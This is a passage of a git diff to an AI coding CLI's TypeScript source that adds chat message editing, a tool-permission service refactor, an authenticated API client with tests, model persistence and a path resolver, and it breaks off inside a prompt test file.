PermissionMode } from "../../permissions/types.js"; -import { modeService } from "../../services/ModeService.js"; interface ModeIndicatorProps { mode?: PermissionMode; } const ModeIndicator: React.FC = ({ mode }) => { - const [currentMode, setCurrentMode] = useState( - mode || modeService.getCurrentMode(), - ); - - // Update mode when it changes (for cases where mode prop is not provided) - useEffect(() => { - if (!mode) { - // Listen for immediate mode changes - const handleModeChange = (newMode: PermissionMode) => { - setCurrentMode(newMode); - }; - - modeService.on("modeChanged", handleModeChange); - - // Set initial mode - setCurrentMode(modeService.getCurrentMode()); - - return () => { - modeService.off("modeChanged", handleModeChange); - }; - } else if (mode !== currentMode) { - setCurrentMode(mode); - } - }, [mode]); + const { services } = useServices<{ + toolPermissions: ToolPermissionServiceState; + }>([SERVICE_NAMES.TOOL_PERMISSIONS]); + const currentMode = mode ?? services.toolPermissions?.currentMode ?? "normal"; // Don't show indicator for normal mode to keep it clean if (currentMode === "normal") { diff --git a/extensions/cli/src/ui/components/ScreenContent.tsx b/extensions/cli/src/ui/components/ScreenContent.tsx index 977d6954a..694c8f215 100644 --- a/extensions/cli/src/ui/components/ScreenContent.tsx +++ b/extensions/cli/src/ui/components/ScreenContent.tsx @@ -3,18 +3,21 @@ import React from "react"; import { UpdateServiceState } from "src/services/types.js"; +import type { ChatHistoryItem } from "../../../../../core/index.js"; import { ConfigSelector } from "../ConfigSelector.js"; import type { NavigationScreen } from "../context/NavigationContext.js"; import { DiffViewer } from "../DiffViewer.js"; +import { EditMessageSelector } from "../EditMessageSelector.js"; import { FreeTrialTransitionUI } from "../FreeTrialTransitionUI.js"; +import type { ActivePermissionRequest } from "../hooks/useChat.types.js"; import { MCPSelector } from "../MCPSelector.js"; import { ModelSelector } from "../ModelSelector.js"; import type { ConfigOption, ModelOption } from "../types/selectorTypes.js"; import { UpdateSelector } from "../UpdateSelector.js"; import { UserInput } from "../UserInput.js"; +import { ChatScreenContent } from "./ChatScreenContent.js"; import { SessionSelectorWithLoading } from "./SessionSelectorWithLoading.js"; -import { ToolPermissionSelector } from "./ToolPermissionSelector.js"; interface ScreenContentProps { isScreenActive: (screen: NavigationScreen) => boolean; @@ -26,7 +29,7 @@ interface ScreenContentProps { handleSessionSelect: (sessionId: string) => Promise; handleReload: () => Promise; closeCurrentScreen: () => void; - activePermissionRequest: any; + activePermissionRequest: ActivePermissionRequest | null; handleToolPermissionResponse: ( requestId: string, approved: boolean, @@ -44,6 +47,9 @@ interface ScreenContentProps { isRemoteMode: boolean; onImageInClipboardChange?: (hasImage: boolean) => void; diffContent?: string; + chatHistory?: ChatHistoryItem[]; + handleEditMessage?: (messageIndex: number, newContent: string) => void; + onShowEditSelector?: () => void; } function hideScreenContent(state?: UpdateServiceState) { @@ -77,6 +83,9 @@ export const ScreenContent: React.FC = ({ isRemoteMode, onImageInClipboardChange, diffContent, + chatHistory = [], + handleEditMessage, + onShowEditSelector, }) => { if (hideScreenContent(services.update)) { return null; @@ -162,33 +171,40 @@ export const ScreenContent: React.FC = ({ ); } + // Edit message selector + if (isScreenActive("edit")) { + return ( + { + if (handleEditMessage) { + handleEditMessage(messageIndex, newContent); + } + closeCurrentScreen(); + }} + onExit={closeCurrentScreen} + /> + ); + } + // Chat screen with input area if (isScreenActive("chat")) { - if (activePermissionRequest) { - return ( - - ); - } return ( - ); } diff --git a/extensions/cli/src/ui/components/StaticChatContent.tsx b/extensions/cli/src/ui/components/StaticChatContent.tsx index 3dcf80490..09f9d8bf5 100644 --- a/extensions/cli/src/ui/components/StaticChatContent.tsx +++ b/extensions/cli/src/ui/components/StaticChatContent.tsx @@ -14,6 +14,7 @@ interface StaticChatContentProps { config?: AssistantUnrolled; model?: ModelConfig; mcpService?: MCPService; + organizationName?: string; chatHistory: ChatHistoryItem[]; queuedMessages?: QueuedMessage[]; renderMessage: ( @@ -29,6 +30,7 @@ export const StaticChatContent: React.FC = ({ config, model, mcpService, + organizationName, chatHistory, queuedMessages = [], renderMessage, @@ -96,6 +98,7 @@ export const StaticChatContent: React.FC = ({ config={config} model={model} mcpService={mcpService} + organizationName={organizationName} />, ); } @@ -129,6 +132,7 @@ export const StaticChatContent: React.FC = ({ config, model, mcpService, + organizationName, processedChatHistory, renderMessage, ]); @@ -157,7 +161,7 @@ export const StaticChatContent: React.FC = ({ {/* Queued messages - show at bottom with queue indicators */} {queuedMessages.length > 0 && ( - + {queuedMessages.map((msg) => msg.message).join("\n")} diff --git a/extensions/cli/src/ui/components/ToolPermissionSelector.tsx b/extensions/cli/src/ui/components/ToolPermissionSelector.tsx index f47ac23ec..bd58f9045 100644 --- a/extensions/cli/src/ui/components/ToolPermissionSelector.tsx +++ b/extensions/cli/src/ui/components/ToolPermissionSelector.tsx @@ -8,6 +8,9 @@ import { defaultBoxStyles } from "../styles.js"; import { ToolPreview } from "./ToolPreview.js"; +// show dangerous commmand warning only once per CLI process +let hasShownDangerousCommandWarning = false; + interface PermissionOption { id: string; name: string; @@ -61,6 +64,12 @@ export const ToolPermissionSelector: React.FC = ({ }) => { const permissionOptions = getPermissionOptions(); const [selectedIndex, setSelectedIndex] = useState(0); + const [initialHasShownDangerousCommand] = useState( + hasShownDangerousCommandWarning, + ); + hasShownDangerousCommandWarning = false; + const showDynamicWarning = + hasDynamicEvaluation && !initialHasShownDangerousCommand; useInput((input, key) => { if (key.return) { @@ -125,7 +134,7 @@ export const ToolPermissionSelector: React.FC = ({ Would you like to continue? - {hasDynamicEvaluation && ( + {showDynamicWarning && ( Note: Dangerous commands will be blocked regardless of your diff --git a/extensions/cli/src/ui/components/ToolPreview.tsx b/extensions/cli/src/ui/components/ToolPreview.tsx index 43145b6eb..a5557f5f7 100644 --- a/extensions/cli/src/ui/components/ToolPreview.tsx +++ b/extensions/cli/src/ui/components/ToolPreview.tsx @@ -28,8 +28,8 @@ export const ToolPreview: React.FC = ({ if (preview.type === "text") { return ( - {index === 0 && ⎿ } - {preview.content} + {index === 0 && ⎿ } + {preview.content} ); } else if (preview.type === "checklist") { @@ -56,8 +56,8 @@ export const ToolPreview: React.FC = ({ return ( - ⎿ - {message} + ⎿ + {message} ); }; diff --git a/extensions/cli/src/ui/context/NavigationContext.tsx b/extensions/cli/src/ui/context/NavigationContext.tsx index fd922ca51..6d43414dd 100644 --- a/extensions/cli/src/ui/context/NavigationContext.tsx +++ b/extensions/cli/src/ui/context/NavigationContext.tsx @@ -20,6 +20,7 @@ export type NavigationScreen = | "session" // Session selector | "diff" // Full-screen diff overlay | "update" // Update selector + | "edit" // Edit message selector | "session"; // Session selector interface NavigationState { diff --git a/extensions/cli/src/ui/hooks/useChat.stream.helpers.ts b/extensions/cli/src/ui/hooks/useChat.stream.helpers.ts index 3a31e458a..a11550ccf 100644 --- a/extensions/cli/src/ui/hooks/useChat.stream.helpers.ts +++ b/extensions/cli/src/ui/hooks/useChat.stream.helpers.ts @@ -1,6 +1,6 @@ import type { ChatHistoryItem, ToolCallState, ToolStatus } from "core/index.js"; -import { getAllBuiltinTools } from "src/tools/index.js"; +import { ALL_BUILT_IN_TOOLS } from "src/tools/allBuiltIns.js"; import { logger } from "src/util/logger.js"; import { services } from "../../services/index.js"; @@ -65,6 +65,8 @@ export function createStreamCallbacks( }, onToolStart: (toolName: string, toolArgs?: any) => { + // TODO service should always be ready, get rid of this code. If it's not ready throw error + // When ChatHistoryService is ready, let handleToolCalls add entries const svc = services.chatHistory; const useService = typeof svc?.isReady === "function" && svc.isReady(); @@ -203,7 +205,7 @@ export function createStreamCallbacks( toolCallPreview?: any[], ) => { // Check if this tool has dynamic evaluation - const tool = getAllBuiltinTools().find((t: any) => t.name === toolName); + const tool = ALL_BUILT_IN_TOOLS.find((t: any) => t.name === toolName); const hasDynamicEvaluation = !!tool?.evaluateToolCallPolicy; setActivePermissionRequest({ diff --git a/extensions/cli/src/ui/hooks/useChat.ts b/extensions/cli/src/ui/hooks/useChat.ts index f970bf799..fe3dc8d05 100644 --- a/extensions/cli/src/ui/hooks/useChat.ts +++ b/extensions/cli/src/ui/hooks/useChat.ts @@ -58,8 +58,8 @@ export function useChat({ onShowUpdateSelector, onShowMCPSelector, onShowSessionSelector, - onLoginPrompt: _onLoginPrompt, onClear, + onRefreshStatic, isRemoteMode = false, remoteUrl, onShowDiff, @@ -337,13 +337,13 @@ export function useChat({ // Check if there are queued messages and process them after a microtask delay // This ensures the GUI state has been updated before processing the next message - const queuedMessageData = messageQueue.getLatestMessage(); + const queuedMessageData = messageQueue.getNextMessage(); if (queuedMessageData) { const { message: latestQueuedMessage, imageMap } = queuedMessageData; logger.debug("processing queued message", { latestQueuedMessage }); // Clear queued messages from display since they're about to be processed - // Note: messageQueue.getLatestMessage() already cleared the actual queue + // Note: messageQueue.getNextMessage() already cleared the actual queue setQueuedMessages([]); await new Promise((resolve) => setTimeout(resolve, 100)); // add timeout for react to render the tui @@ -455,7 +455,11 @@ export function useChat({ message: string, imageMap?: Map, isQueuedMessage: boolean = false, + baseHistory?: ChatHistoryItem[], ) => { + // Use baseHistory if provided (e.g., when editing a message), + // otherwise use current chatHistory + const currentHistory = baseHistory ?? chatHistory; // Handle special commands const handled = await handleSpecialCommands({ message, @@ -524,7 +528,7 @@ export function useChat({ let currentChatHistory, currentCompactionIndex; try { const result = await handleAutoCompaction({ - chatHistory, + chatHistory: currentHistory, model, llmApi, compactionIndex, @@ -591,7 +595,7 @@ export function useChat({ let currentChatHistory, currentCompactionIndex; try { const result = await handleAutoCompaction({ - chatHistory, + chatHistory: currentHistory, model, llmApi, compactionIndex, @@ -721,6 +725,42 @@ export function useChat({ setQueuedMessages([]); }; + const handleEditMessage = async ( + messageIndex: number, + newContent: string, + ) => { + logger.debug("handleEditMessage called", { + messageIndex, + currentHistoryLength: chatHistory.length, + }); + + // Rewind chat history to exclude the message being edited + const rewindedHistory = chatHistory.slice(0, messageIndex); + + logger.debug("Rewinding history for edit", { + from: chatHistory.length, + to: rewindedHistory.length, + }); + + // Clear any queued messages + setQueuedMessages([]); + + // Clear attached files + setAttachedFiles([]); + + // Update the session with the rewound history + updateSessionHistory(rewindedHistory); + + // Force refresh of StaticChatContent to show truncated history + if (onRefreshStatic) { + onRefreshStatic(); + } + + // Resubmit the edited message with the rewound history as the base + // This ensures processMessage uses the correct base history + await processMessage(newContent, undefined, false, rewindedHistory); + }; + const handleToolPermissionResponse = async ( requestId: string, approved: boolean, @@ -749,7 +789,7 @@ export function useChat({ logger.debug(`Policy created: ${policyRule}`); // Reload permissions to pick up the new policy without requiring restart - await services.mode.getToolPermissionService().reloadPermissions(); + await services.toolPermissions.reloadPermissions(); } catch (error) { logger.error("Failed to create policy or reload permissions", { error, @@ -803,6 +843,7 @@ export function useChat({ handleInterrupt, handleFileAttached, resetChatHistory, + handleEditMessage, handleToolPermissionResponse, }; } diff --git a/extensions/cli/src/ui/hooks/useChat.types.ts b/extensions/cli/src/ui/hooks/useChat.types.ts index bf449191b..2fe0b0b81 100644 --- a/extensions/cli/src/ui/hooks/useChat.types.ts +++ b/extensions/cli/src/ui/hooks/useChat.types.ts @@ -18,9 +18,9 @@ export interface UseChatProps { onShowUpdateSelector: () => void; onShowModelSelector?: () => void; onShowSessionSelector?: () => void; - onLoginPrompt?: (promptText: string) => Promise; onReload?: () => Promise; onClear?: () => void; + onRefreshStatic?: () => void; // Remote mode props isRemoteMode?: boolean; remoteUrl?: string; @@ -38,6 +38,7 @@ export interface ActivePermissionRequest { toolArgs: any; requestId: string; toolCallPreview?: ToolCallPreview[]; + hasDynamicEvaluation?: boolean; } export interface RemoteServerState { diff --git a/extensions/cli/src/ui/hooks/useConfigSelector.test.ts b/extensions/cli/src/ui/hooks/useConfigSelector.test.ts deleted file mode 100644 index 9272cdbc0..000000000 --- a/extensions/cli/src/ui/hooks/useConfigSelector.test.ts +++ /dev/null @@ -1,32 +0,0 @@ -import { describe, expect, test } from "vitest"; - -describe("useConfigSelector", () => { - test("hook updated to use reactive service pattern", () => { - // This test documents that useConfigSelector has been updated - - // Changes made: - // 1. Removed manual onAssistantChange callback - // 2. Now calls services.config.updateConfigPath() - // 3. Lets ServiceContainer handle dependency management - // 4. Allows automatic UI updates via reactive system - - // The hook now properly: - // - Handles local config selection - // - Handles assistant config selection - // - Handles create config option - // - Provides error handling - // - Triggers reactive updates - - expect("hook").toBe("hook"); - }); - - test("integrates with reactive service system", () => { - // The hook integration follows the correct pattern: - // - User interaction → service method call - // - Service handles state update and notification - // - ServiceContainer manages dependency cascade - // - UI components re-render automatically - - expect("integration").toBe("integration"); - }); -}); diff --git a/extensions/cli/src/ui/hooks/useModelSelector.ts b/extensions/cli/src/ui/hooks/useModelSelector.ts index c01439bd9..e00f21981 100644 --- a/extensions/cli/src/ui/hooks/useModelSelector.ts +++ b/extensions/cli/src/ui/hooks/useModelSelector.ts @@ -4,7 +4,7 @@ import { serviceContainer, services, } from "../../services/index.js"; -import { ModelServiceState } from "../../services/types.js"; +import { AuthServiceState, ModelServiceState } from "../../services/types.js"; import { useNavigation } from "../context/NavigationContext.js"; interface ModelOption { @@ -21,11 +21,13 @@ interface UseModelSelectorProps { messageType: "system"; }) => void; onModelSwitch?: () => void; + onRefreshUI?: () => void; } export function useModelSelector({ onMessage, onModelSwitch, + onRefreshUI, }: UseModelSelectorProps) { const { closeCurrentScreen } = useNavigation(); @@ -44,8 +46,17 @@ export function useModelSelector({ ); // Persist the model choice using the actual model name + // and update the auth service state to reflect the change if (modelInfo?.name) { - updateModelName(modelInfo.name); + const updatedAuthConfig = updateModelName(modelInfo.name); + + // Update the AUTH service state in the container with the new config + // This ensures that when MODEL service is reloaded, it gets the updated auth config + const currentAuthState = services.auth.getState(); + serviceContainer.set(SERVICE_NAMES.AUTH, { + ...currentAuthState, + authConfig: updatedAuthConfig, + }); } onMessage({ @@ -58,6 +69,11 @@ export function useModelSelector({ if (onModelSwitch) { onModelSwitch(); } + + // Force UI refresh to update the IntroMessage with new model + if (onRefreshUI) { + onRefreshUI(); + } } catch (error: any) { onMessage({ role: "system", diff --git a/extensions/cli/src/ui/hooks/useTUIChatHooks.ts b/extensions/cli/src/ui/hooks/useTUIChatHooks.ts index 04b4cf25d..b4b55fa4a 100644 --- a/extensions/cli/src/ui/hooks/useTUIChatHooks.ts +++ b/extensions/cli/src/ui/hooks/useTUIChatHooks.ts @@ -1,7 +1,5 @@ import { useCallback, useEffect, useState } from "react"; -import type { PermissionMode } from "../../permissions/types.js"; -import { modeService } from "../../services/ModeService.js"; import { getGitBranch, getGitRemoteUrl, isGitRepo } from "../../util/git.js"; import type { ConfigOption, ModelOption } from "../types/selectorTypes.js"; @@ -150,31 +148,12 @@ export function useLoginHandlers( return { handleLoginPrompt, handleLoginTokenSubmit }; } -// Custom hook for mode tracking -export function useCurrentMode() { - const [currentMode, setCurrentMode] = useState( - modeService.getCurrentMode(), - ); - - useEffect(() => { - const handleModeChange = (newMode: PermissionMode) => { - setCurrentMode(newMode); - }; - - modeService.on("modeChanged", handleModeChange); - return () => { - modeService.off("modeChanged", handleModeChange); - }; - }, []); - - return currentMode; -} - // Custom hook to combine all selector logic export function useSelectors( configPath: string | undefined, setChatHistory: React.Dispatch>, handleClear: () => void, + setStaticRefreshTrigger?: React.Dispatch>, ): { handleConfigSelect: (config: ConfigOption) => Promise; handleModelSelect: (model: ModelOption) => Promise; @@ -205,6 +184,12 @@ export function useSelectors( }, ]); }, + onRefreshUI: () => { + // Force a UI refresh to update the IntroMessage with new model + if (setStaticRefreshTrigger) { + setStaticRefreshTrigger((prev) => prev + 1); + } + }, }); return { diff --git a/extensions/cli/src/util/apiClient.test.ts b/extensions/cli/src/util/apiClient.test.ts new file mode 100644 index 000000000..09bb12ed5 --- /dev/null +++ b/extensions/cli/src/util/apiClient.test.ts @@ -0,0 +1,283 @@ +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; + +import { + ApiRequestError, + AuthenticationRequiredError, + del, + get, + makeAuthenticatedRequest, + post, + put, +} from "./apiClient.js"; + +// Mock the dependencies +vi.mock("../auth/workos.js", () => ({ + loadAuthConfig: vi.fn(), + getAccessToken: vi.fn(), +})); + +vi.mock("../env.js", () => ({ + env: { + apiBase: "https://api.continue.dev", + }, +})); + +vi.mock("./logger.js", () => ({ + logger: { + debug: vi.fn(), + error: vi.fn(), + }, +})); + +// Mock fetch globally +global.fetch = vi.fn(); + +describe("apiClient", () => { + let mockLoadAuthConfig: any; + let mockGetAccessToken: any; + const mockFetch = vi.mocked(global.fetch); + + beforeEach(async () => { + vi.clearAllMocks(); + + // Get mocked functions + const authModule = await import("../auth/workos.js"); + mockLoadAuthConfig = vi.mocked(authModule.loadAuthConfig); + mockGetAccessToken = vi.mocked(authModule.getAccessToken); + + // Setup default successful authentication + mockLoadAuthConfig.mockReturnValue({ some: "config" }); + mockGetAccessToken.mockReturnValue("test-access-token"); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + describe("makeAuthenticatedRequest", () => { + test("should make successful API request", async () => { + mockFetch.mockResolvedValue({ + ok: true, + status: 200, + statusText: "OK", + headers: { get: vi.fn().mockReturnValue("application/json") }, + json: vi.fn().mockResolvedValue({ data: "test" }), + } as unknown as Response); + + const result = await makeAuthenticatedRequest("test-endpoint", { + method: "POST", + body: { key: "value" }, + }); + + expect(mockFetch).toHaveBeenCalledWith( + new URL("test-endpoint", "https://api.continue.dev"), + { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: "Bearer test-access-token", + }, + body: JSON.stringify({ key: "value" }), + }, + ); + + expect(result).toEqual({ + data: { data: "test" }, + status: 200, + ok: true, + }); + }); + + test("should handle non-JSON response", async () => { + mockFetch.mockResolvedValue({ + ok: true, + status: 200, + statusText: "OK", + headers: { get: vi.fn().mockReturnValue("text/plain") }, + text: vi.fn().mockResolvedValue("plain text response"), + } as unknown as Response); + + const result = await makeAuthenticatedRequest("test-endpoint"); + + expect(result.data).toBe("plain text response"); + }); + + test("should throw AuthenticationRequiredError when no auth config", async () => { + mockLoadAuthConfig.mockReturnValue(null); + + await expect(makeAuthenticatedRequest("test-endpoint")).rejects.toThrow( + AuthenticationRequiredError, + ); + }); + + test("should throw AuthenticationRequiredError when no access token", async () => { + mockGetAccessToken.mockReturnValue(null); + + await expect(makeAuthenticatedRequest("test-endpoint")).rejects.toThrow( + AuthenticationRequiredError, + ); + }); + + test("should throw ApiRequestError on API error", async () => { + mockFetch.mockResolvedValue({ + ok: false, + status: 404, + statusText: "Not Found", + headers: { get: vi.fn() }, + text: vi.fn().mockResolvedValue("Resource not found"), + } as unknown as Response); + + await expect(makeAuthenticatedRequest("test-endpoint")).rejects.toThrow( + ApiRequestError, + ); + }); + + test("should handle network error", async () => { + mockFetch.mockRejectedValue(new Error("Network error")); + + await expect(makeAuthenticatedRequest("test-endpoint")).rejects.toThrow( + "Request failed: Network error", + ); + }); + + test("should handle string body", async () => { + mockFetch.mockResolvedValue({ + ok: true, + status: 200, + statusText: "OK", + headers: { get: vi.fn().mockReturnValue("application/json") }, + json: vi.fn().mockResolvedValue({ success: true }), + } as unknown as Response); + + await makeAuthenticatedRequest("test-endpoint", { + method: "POST", + body: "raw string body", + }); + + expect(mockFetch).toHaveBeenCalledWith( + expect.any(URL), + expect.objectContaining({ + body: "raw string body", + }), + ); + }); + + test("should merge custom headers", async () => { + mockFetch.mockResolvedValue({ + ok: true, + status: 200, + statusText: "OK", + headers: { get: vi.fn().mockReturnValue("application/json") }, + json: vi.fn().mockResolvedValue({}), + } as unknown as Response); + + await makeAuthenticatedRequest("test-endpoint", { + headers: { "Custom-Header": "custom-value" }, + }); + + expect(mockFetch).toHaveBeenCalledWith( + expect.any(URL), + expect.objectContaining({ + headers: { + "Content-Type": "application/json", + Authorization: "Bearer test-access-token", + "Custom-Header": "custom-value", + }, + }), + ); + }); + }); + + describe("convenience methods", () => { + beforeEach(() => { + mockFetch.mockResolvedValue({ + ok: true, + status: 200, + statusText: "OK", + headers: { get: vi.fn().mockReturnValue("application/json") }, + json: vi.fn().mockResolvedValue({ success: true }), + } as unknown as Response); + }); + + test("get method should make GET request", async () => { + await get("test-endpoint"); + + expect(mockFetch).toHaveBeenCalledWith( + expect.any(URL), + expect.objectContaining({ method: "GET" }), + ); + }); + + test("post method should make POST request", async () => { + await post("test-endpoint", { data: "test" }); + + expect(mockFetch).toHaveBeenCalledWith( + expect.any(URL), + expect.objectContaining({ + method: "POST", + body: JSON.stringify({ data: "test" }), + }), + ); + }); + + test("put method should make PUT request", async () => { + await put("test-endpoint", { data: "test" }); + + expect(mockFetch).toHaveBeenCalledWith( + expect.any(URL), + expect.objectContaining({ + method: "PUT", + body: JSON.stringify({ data: "test" }), + }), + ); + }); + + test("del method should make DELETE request", async () => { + await del("test-endpoint"); + + expect(mockFetch).toHaveBeenCalledWith( + expect.any(URL), + expect.objectContaining({ method: "DELETE" }), + ); + }); + }); + + describe("error classes", () => { + test("AuthenticationRequiredError should have correct properties", () => { + const error = new AuthenticationRequiredError(); + + expect(error.name).toBe("AuthenticationRequiredError"); + expect(error.message).toBe( + "Not authenticated. Please run 'cn login' first.", + ); + }); + + test("AuthenticationRequiredError should accept custom message", () => { + const customMessage = "Custom auth error"; + const error = new AuthenticationRequiredError(customMessage); + + expect(error.message).toBe(customMessage); + }); + + test("ApiRequestError should have correct properties", () => { + const error = new ApiRequestError(404, "Not Found", "Resource not found"); + + expect(error.name).toBe("ApiRequestError"); + expect(error.status).toBe(404); + expect(error.statusText).toBe("Not Found"); + expect(error.response).toBe("Resource not found"); + expect(error.message).toContain("404"); + expect(error.message).toContain("Not Found"); + expect(error.message).toContain("Resource not found"); + }); + + test("ApiRequestError should work without response text", () => { + const error = new ApiRequestError(500, "Internal Server Error"); + + expect(error.response).toBeUndefined(); + expect(error.message).toContain("500"); + expect(error.message).toContain("Internal Server Error"); + expect(error.message).not.toContain("undefined"); + }); + }); +}); diff --git a/extensions/cli/src/util/apiClient.ts b/extensions/cli/src/util/apiClient.ts new file mode 100644 index 000000000..16119c4a0 --- /dev/null +++ b/extensions/cli/src/util/apiClient.ts @@ -0,0 +1,193 @@ +/* eslint-disable max-classes-per-file */ +import { getAccessToken, loadAuthConfig } from "../auth/workos.js"; +import { env } from "../env.js"; + +import { logger } from "./logger.js"; + +export interface ApiRequestOptions { + method?: "GET" | "POST" | "PUT" | "DELETE" | "PATCH"; + body?: Record | string; + headers?: Record; +} + +export interface ApiResponse { + data: T; + status: number; + ok: boolean; +} + +export interface ApiError extends Error { + status: number; + statusText: string; + response?: string; +} + +/** + * Authentication error thrown when user is not authenticated + */ +export class AuthenticationRequiredError extends Error { + constructor(message = "Not authenticated. Please run 'cn login' first.") { + super(message); + this.name = "AuthenticationRequiredError"; + } +} + +/** + * API error thrown when the request fails + */ +export class ApiRequestError extends Error implements ApiError { + status: number; + statusText: string; + response?: string; + + constructor(status: number, statusText: string, response?: string) { + const message = response + ? `API request failed: ${status} ${statusText} - ${response}` + : `API request failed: ${status} ${statusText}`; + super(message); + this.name = "ApiRequestError"; + this.status = status; + this.statusText = statusText; + this.response = response; + } +} + +/** + * Make an authenticated API request to the Continue API + * Handles authentication, error handling, and response parsing + */ +export async function makeAuthenticatedRequest( + endpoint: string, + options: ApiRequestOptions = {}, +): Promise> { + // Handle authentication + const authConfig = loadAuthConfig(); + if (!authConfig) { + throw new AuthenticationRequiredError(); + } + + const accessToken = getAccessToken(authConfig); + if (!accessToken) { + throw new AuthenticationRequiredError( + "No access token available. Please run 'cn login' first.", + ); + } + + // Prepare request options + const { method = "GET", body, headers = {} } = options; + + const requestOptions: RequestInit = { + method, + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${accessToken}`, + ...headers, + }, + }; + + // Add body if provided + if (body) { + requestOptions.body = + typeof body === "string" ? body : JSON.stringify(body); + } + + try { + // Make the request + const url = new URL(endpoint, env.apiBase); + logger.debug(`Making ${method} request to: ${url.toString()}`); + + const response = await fetch(url, requestOptions); + + // Handle error responses + if (!response.ok) { + const errorText = await response.text(); + logger.error(`API request failed: ${response.status} ${errorText}`); + throw new ApiRequestError( + response.status, + response.statusText, + errorText, + ); + } + + // Parse response + let data: T; + const contentType = response.headers.get("content-type"); + if (contentType && contentType.includes("application/json")) { + data = await response.json(); + } else { + // If not JSON, return the text as data + data = (await response.text()) as T; + } + + logger.debug(`API request successful: ${response.status}`); + + return { + data, + status: response.status, + ok: response.ok, + }; + } catch (error) { + // Re-throw our custom errors + if ( + error instanceof AuthenticationRequiredError || + error instanceof ApiRequestError + ) { + throw error; + } + + // Handle network/other errors + const errorMessage = error instanceof Error ? error.message : String(error); + logger.error(`Network/request error: ${errorMessage}`); + throw new Error(`Request failed: ${errorMessage}`); + } +} + +/** + * Convenience function for GET requests + */ +export async function get( + endpoint: string, + headers?: Record, +): Promise> { + return makeAuthenticatedRequest(endpoint, { method: "GET", headers }); +} + +/** + * Convenience function for POST requests + */ +export async function post( + endpoint: string, + body?: Record | string, + headers?: Record, +): Promise> { + return makeAuthenticatedRequest(endpoint, { + method: "POST", + body, + headers, + }); +} + +/** + * Convenience function for PUT requests + */ +export async function put( + endpoint: string, + body?: Record | string, + headers?: Record, +): Promise> { + return makeAuthenticatedRequest(endpoint, { + method: "PUT", + body, + headers, + }); +} + +/** + * Convenience function for DELETE requests + */ +export async function del( + endpoint: string, + headers?: Record, +): Promise> { + return makeAuthenticatedRequest(endpoint, { method: "DELETE", headers }); +} diff --git a/extensions/cli/src/util/cli.ts b/extensions/cli/src/util/cli.ts index a2b276343..bb23ea71f 100644 --- a/extensions/cli/src/util/cli.ts +++ b/extensions/cli/src/util/cli.ts @@ -9,3 +9,7 @@ export function isHeadlessMode(): boolean { const args = process.argv.slice(2); return args.includes("-p") || args.includes("--print"); } + +export function isServe(): boolean { + return process.argv?.includes("serve") ?? false; +} diff --git a/extensions/cli/src/util/exponentialBackoff.ts b/extensions/cli/src/util/exponentialBackoff.ts index 926049efa..c44aee6e8 100644 --- a/extensions/cli/src/util/exponentialBackoff.ts +++ b/extensions/cli/src/util/exponentialBackoff.ts @@ -1,4 +1,4 @@ -import { BaseLlmApi } from "@continuedev/openai-adapters"; +import { BaseLlmApi, isResponsesModel } from "@continuedev/openai-adapters"; import type { ChatCompletionCreateParamsStreaming } from "openai/resources.mjs"; import { error, warn } from "../logging.js"; @@ -173,6 +173,14 @@ export async function chatCompletionStreamWithBackoff( throw new Error("Request aborted"); } + const useResponses = + typeof llmApi.responsesStream === "function" && + isResponsesModel(params.model); + + if (useResponses) { + return llmApi.responsesStream!(params, abortSignal); + } + return llmApi.chatCompletionStream(params, abortSignal); } catch (err: any) { lastError = err; @@ -189,6 +197,14 @@ export async function chatCompletionStreamWithBackoff( // Only retry if the error is retryable if (!isRetryableError(err)) { + // Log full error details for non-retryable errors + logger.error("Non-retryable LLM API error", err, { + status: err.status, + statusText: err.statusText, + message: err.message, + error: err.error, + model: params.model, + }); throw err; } diff --git a/extensions/cli/src/util/modelPersistence.ts b/extensions/cli/src/util/modelPersistence.ts new file mode 100644 index 000000000..ace51c396 --- /dev/null +++ b/extensions/cli/src/util/modelPersistence.ts @@ -0,0 +1,19 @@ +import { GlobalContext } from "core/util/GlobalContext.js"; + +/** + * Get the persisted model name for CLI from GlobalContext + * Used for unauthenticated users + */ +export function getPersistedModelName(): string | null { + const globalContext = new GlobalContext(); + return globalContext.get("cliSelectedModel") ?? null; +} + +/** + * Persist the model name for CLI to GlobalContext + * Used for unauthenticated users + */ +export function persistModelName(modelName: string | null): void { + const globalContext = new GlobalContext(); + globalContext.update("cliSelectedModel", modelName ?? undefined); +} diff --git a/extensions/cli/src/util/pathResolver.ts b/extensions/cli/src/util/pathResolver.ts new file mode 100644 index 000000000..7521dba71 --- /dev/null +++ b/extensions/cli/src/util/pathResolver.ts @@ -0,0 +1,33 @@ +import * as fs from "fs"; +import * as os from "os"; +import * as path from "path"; + +/** + * Resolves user-provided paths for CLI context. + * Handles absolute paths, tilde paths, and relative paths. + */ +export function resolveInputPath(inputPath: string): string | null { + // Trim whitespace + const trimmedPath = inputPath.trim(); + + // Expand tilde paths + let expandedPath = trimmedPath; + if (trimmedPath.startsWith("~/") || trimmedPath.startsWith("~\\")) { + expandedPath = path.join(os.homedir(), trimmedPath.slice(2)); + } else if (trimmedPath === "~") { + expandedPath = os.homedir(); + } else if (trimmedPath.startsWith("./")) { + // Keep relative paths starting with ./ as is (relative to cwd)z + expandedPath = trimmedPath; + } + + // Resolve the path (handles both absolute and relative paths) + const resolvedPath = path.resolve(expandedPath); + + // Check if the path exists + if (fs.existsSync(resolvedPath)) { + return resolvedPath; + } + + return null; +} diff --git a/extensions/cli/src/util/prompt.test.ts b/extensions/cli/src/util/prompt.test.ts new file mode 100644 index 000000000..be758e11a --- /dev/null +++ b/extensions/cli/src/util/prompt.test.ts @@ -0,0 +1,277 @@ +import * as readline from "readline"; + +import { + describe, + expect, + it, + vi, + beforeEach, + afterEach, + MockInstance, +} from "vitest"; + +// Mock readline module +vi.mock("readline", () => ({ + createInterface: vi.fn(), +})); + +import { question, questionWithChoices } from "./prompt.js"; + +describe("prompt utilities", () => { + let mockInterface: any; + let consoleLogSpy: MockInstance; + let processExitSpy: MockInstance; + + beforeEach(() => { + // Create a mock readline interface + mockInterface = { + question: vi.fn(), + close: vi.fn(), + on: vi.fn(), + }; + + // Mock readline.createInterface to return our mock interface + (readline.createInterface as any).mockReturnValue(mockInterface); + + // Mock console.log for limit messages + consoleLogSpy = vi.spyOn(console, "log").mockImplementation(() => {}); + + // Mock process.exit + processExitSpy = vi.spyOn(process, "exit").mockImplementation((() => { + throw new Error("Process exit"); + }) as any); + }); + + afterEach(() => { + vi.clearAllMocks(); + consoleLogSpy.mockRestore(); + processExitSpy.mockRestore(); + }); + + 